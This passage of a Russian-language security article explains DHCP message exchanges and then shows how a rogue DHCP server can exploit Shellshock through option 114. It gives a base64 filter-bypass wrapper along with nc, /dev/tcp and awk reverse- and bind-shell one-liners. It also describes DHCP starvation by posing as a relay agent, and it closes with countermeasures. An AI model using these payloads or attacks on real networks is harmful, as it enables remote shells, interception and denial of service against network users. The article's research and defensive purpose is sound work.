  4. DHCPACK Сервер отправляет клиенту подтверждение. На сетевом уровне должно быть так: SRC IP: <IP-адрес сервера> DST IP: 255.255.255.255. Опции и поля этого пакета не отличаются от DHCPOFFER, за исключением опции с кодом 53 (DHCP message type тип DHCP-сообщения), равной 0х05 — это значит, что данный пакет — подтверждение от DHCP-сервера.

Далее, клиент с помощью протокола ARP пытается обнаружить конфликт IP-адресов в локальной сети (Address Conflict Detection). Если конфликт не найден, клиент выставляет полученные из DHCPACK параметры сетевому интерфейсу. Если обнаружен, клиент рассылает широковещательное сообщение отказа DHCP DHCPDECLINE, после чего процедура получения IP-адреса повторяется.

Также у протокола DHCP есть еще одна особенность: если клиент ранее отправлял запрос DHCPDISCOVER, то при повторном подключении к той же сети клиент сразу отправляет DHCPREQUEST; при этом в DHCP-опции с кодом 50 (Requested IP address) выставляется IP-адрес, полученый ранее.

Остановимся на упомянутом DHCPDECLINE подробнее. На практике это выглядит так:

Мы уже знаем, что клиент, подключившись хотя бы раз к сети, будет отправлять только DHCPREQUEST-запрос, выставляя при этом в Requested IP адрес, который получил ранее. Но что если DHCP-сервер уже выделил этот IP-адрес, поменялась конфигурация или адресация, и сервер не может дать клиенту этот адрес? Для этого существует тип сообщения DHCPNAK. Работает он следующим образом:

  1. Клиент отправляет DHCPREQUEST.
    Transaction ID: 0xa7ddc5cb; Requested IP: 192.168.1.14

  2. В настройках сервера указан диапазон, в котором он может выделять IP-адрес, но тот, который запросил клиент, не входит в данный диапазон, поэтому сервер отправляет DHCPNAK.
    Transaction ID: 0xa7ddc5cb; Message: address not available

  3. Процедура получения IP-адреса повторяется, но уже с другим Transaction ID: 0xcfbf77a9.

Перейдем к shellshock

Про то, как и почему работает shellshock, писать нет никакого смысла, ведь эта уязвимость — одна из самых популярных, и о ней есть великое множество статей. Лучше остановимся на моменте, как получить shell на клиенте DHCP, в случае, если мы выступим в роли DHCP-сервера.

В какие поля и опции можно инъектировать?

В нашем PoC мы будем использовать DHCP-опцию с кодом 114 (URL). Почему? Потому, что ее длина — вариативна (максимальная длина — 256 байт), а также потому, что ее все используют. Ее описание еще есть . Существует даже статья о том, как с помощью этой опции обновить уязвимые к shellshock системы 🙂

Какие у нас ограничения?

Ответ: их много, слишком много!

  1. Длина — 256 байт
  2. Возможно использовать только команды интерпретатора
  3. Большое ограничение на используемые символы: некоторые фильтруются, некоторые экранируются. Это зависит от клиента DHCP. Вот набор символов, которые не везде получится использовать: «‘;&|
  4. После выполнения команды, IPv4-адрес может не присвоиться, в таком случае возможно использовать IPv6 link-local-адрес, если на интерфейсе не включено игнорирование IPv6
  5. Необходимо использовать абсолютные пути, иначе команда может не выполниться

И что тогда делать?

Ответ: обходить ограничения!
Для обхода фильтра мы должны выполнить все одной командой. Сделаем это так:

/bin/sh <(/usr/bin/base64 -d <<< Base64String)

Здесь на вход интерпретатора /bin/sh мы подаем вывод /usr/bin/base64, которая декодирует строку Base64String. Таким образом, мы использовали уже 34 байта, длина Base64String не должна превышать 222 байтов.

А что будет в Base64String? Не забываем про четвертое ограничение, поэтому в первую очередь выставим IP-адрес интерфейсу командой:

/bin/ip addr add <IP>/<MASK> dev eth0;

Эта команда накладывает на нас еще одно ограничение: мы должны знать имя интерфейса, которому выставляем IP-адрес. По умолчанию, в старых версиях Linux, на которых еще есть shellshock, первый сетевой интерфейс называется eth0, так что ориентируемся на него. Еще в эту строку мы должны поместить reverse shell или bind shell.

Для reverse shell будем использовать стандартный shell с использованием nc:

nc -e /bin/sh <IP> <PORT> 2>&1 & rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f &

Для reverse shell также можно использовать команду отсюда:

/bin/bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

Для bind shell будем использовать /cmd/unix/bind_awk из состава Metasploit, как один из наиболее коротких:

awk ‘BEGIN{s=»/inet/tcp/<PORT>/0/0″;for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}’ &

PoC

Видео:

Еще немного про DHCP

Ни в коем случае DHCP нельзя рассматривать исключительно как метод получения RCE на клиентах, потому что, во-первых, мы должны ответить быстрее реального DHCP-сервера в сети, и, во-вторых, на клиенте должен быть shellshock, а это маловероятно. Протокол DHCP в первую очередь необходимо рассматривать как метод осуществления MITM.

Поговорим о том, как ответить на любой запрос быстрее DHCP-сервера. Самый очевидный вариант — быть ближе к клиенту по расположению в сети, и еще наше железо и алгоритм должны работать быстрее. Однако, в большинстве случаев это не так.

Есть второй вариант: нужно нагрузить сервер, но при этом не занимать новые IP-адреса в сети, чтобы не исчерпать весь пул свободных адресов (такая атака называется DHCP starvation). Как вы уже поняли, необходимо отправлять большое количество запросов DHCPDISCOVER, поскольку сервер должен обработать каждый из них и отправить в ответ DHCPOFFER. Однако, в рамках данной транзакции DHCPREQUEST мы отправлять не будем, поэтому сервер будет его ждать. IP-адрес не будет считаться выделенным, потому что процедура получения IP не завершена.

Давайте посмотрим, как это выглядит на практике.

Графы нагрузки и процессы до отправки DHCPDISCOVER-запросов:

На рисунках видно, что load average роутера колеблется от 0.1 до 0.3, и процесс dnsmasq занимает 0% CPU.

Графы нагрузки, процессы и список DHCP-клиентов во время отправки DHCPDISCOVER-запросов:

Load average роутера повысился до 1.96, и он уже не успевает отвечать на все запросы DHCPDISCOVER, процесс dnsmasq занимает целых 64% CPU, но при этом в списке DHCP клиентов только наш хост.

В результате, мы и сервер немного нагрузили, и IP-адреса не заняли. Если мы отфильтруем все сгенерированные нами же запросы DHCPDISCOVER, вероятнось того, что мы ответим быстрее реального DHCP-сервера, значительно увеличится. Задача выполнена, идем дальше.

Теперь поговорим о типах DHCP сообщений:

Первые шесть типов сообщений мы уже разобрали, осталось всего два: седьмой (DHCPRELEASE) и восьмой (DHCPINFORM). Остановимся на них подробнее.

Клиент может явным образом прекратить аренду IP-адреса. Для этого он отправляет сообщение освобождения аренды адреса DHCPRELEASE тому серверу, который предоставил адрес ранее. В отличие от других сообщений, это не рассылается широковещательно.

Сообщение информации DHCPINFORM предназначено для определения дополнительных сетевых параметров теми клиентами, у которых IP-адрес настроен вручную. Исходя из своего опыта, можем сказать, что такие сообщения отправляют только Windows хосты :(. Сервер отвечает на подобный запрос DHCPACK без выделения IP-адреса. Для этих сообщений существует свой проект rfc. Вы уже поняли, что мы можем выставить в DHCPACK свой шлюз, DNS, и т.д. Главное — ответить раньше реального DHCP сервера, а эта проблема уже решена выше.

DHCP starvation & DHCP relay agent

В данной статье мы упоминали про атаку DHCP starvation — исчерпание пула свободных IP-адресов. Бытует мнение, что провести данную атаку возможно, отправляя лишь большое количество DHCPDISCOVER или DHCPREQUEST запросов с рандомных MAC-адресов, и тогда на каждый такой запрос DHCP-сервер выделит и зарезервирует IP-адрес, но это не всегда так. Как мы уже знаем, процедура получения и резервирования IP-адреса заканчивается тогда, когда DHCP-сервер отправляет сообщение DHCPACK. Наиболее корректно производить данную атаку, представляясь как DHCP relay agent.

Приведем пример:

Таким образом, мы забъем весь пул свободных IP-адресов, а легитимный DHCP-клиент сможет получить IP-адрес от этого DHCP-сервера только через 12 часов. Пока легитимный DHCP-сервер не может отправить ответы клиентам, это можем сделать мы!

Как это работает:

  1. Формируем и отправляем широковещательный DHCPDISCOVER-запрос, при этом представлемся как DHCP relay agent. В поле giaddr (Relay agent IP) указываем свой IP-адрес 192.168.1.2, в поле chaddr (Client MAC address) — рандомный MAC 00:19:bb:f5:e7:a8, при этом на канальном уровне в SRC MAC выставляем свой MAC-адрес.

  2. Сервер отвечает сообщением DHCPOFFER агенту ретрансляции (нам), и предлагает клиенту с MAC-адресом 00:19:bb:f5:e7:a8 IP-адрес 192.168.1.232

  3. После получения DHCPOFFER, отправляем широковещательный DHCPREQUEST-запрос, при этом в DHCP-опции с кодом 50 (Requested IP address) выставляем предложеный клиенту IP-адрес 192.168.1.232, в опции с кодом 12 (Host Name Option) — рандомную строку. Важно: значения полей xid (Transaction ID) и chaddr (Client MAC address) в DHCPREQUEST и DHCPDISCOVER должны быть одинаковыми, иначе сервер отбросит запрос, ведь это будет выглядеть, как другая транзакция от того же клиента, либо другой клиент с той же транзакцией.

  4. Сервер отправляет агенту ретрансляции сообщение DHCPACK. С этого момента IP-адрес 192.168.1.232 считается зарезервированным за клиентом с MAC-адресом 00:19:bb:f5:e7:a8 на 12 часов (время аренды по умолчанию).

Выводы

Способы противодействия:

  1. DHCP snooping — функция коммутатора, предназначенная для защиты от атак с использованием протокола DHCP. Например, атаки с подменой DHCP-сервера в сети;

  2. Port security — функция коммутатора, позволяющая указать MAC-адреса хостов, которым разрешено передавать данные через порт. После этого порт не передает пакеты, если MAC-адрес отправителя не указан как разрешенный;

  3. Настройка сетевого оборудования с целью ограничения количества DHCPDISCOVER и DHCPREQUEST запросов с одного MAC-адреса и/или IP-адреса;

  4. Запись и анализ трафика в сети для отслеживания аномалий. Например, обычное количество DHCP-запросов в вашей сети не превышает 100-200 в день, а во время атаки DHCP starvation их число увеличивается многократно. Еще один пример: обычно в вашей сети количество DHCP-ответов не превышает количества DHCP-запросов, а теперь количество DHCP-ответов стало вдвое больше DHCP-запросов. Это значит, что кто-то производит атаку с подменой DHCP-сервера;

  5. Использование IDS, IPS, SIEM и систем мониторинга оборудования типа Zabbix;

  6. По возможности использовать статическую привязку MAC — IP на DHCP сервере;

  7. Использовать DHCP-ретрансляторы и DHCP-сервера поддерживающие DHCP опцию с кодом 82;

  8. Непрерывное обновления программного обеспечения. Обновить хосты можно и так 🙂

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *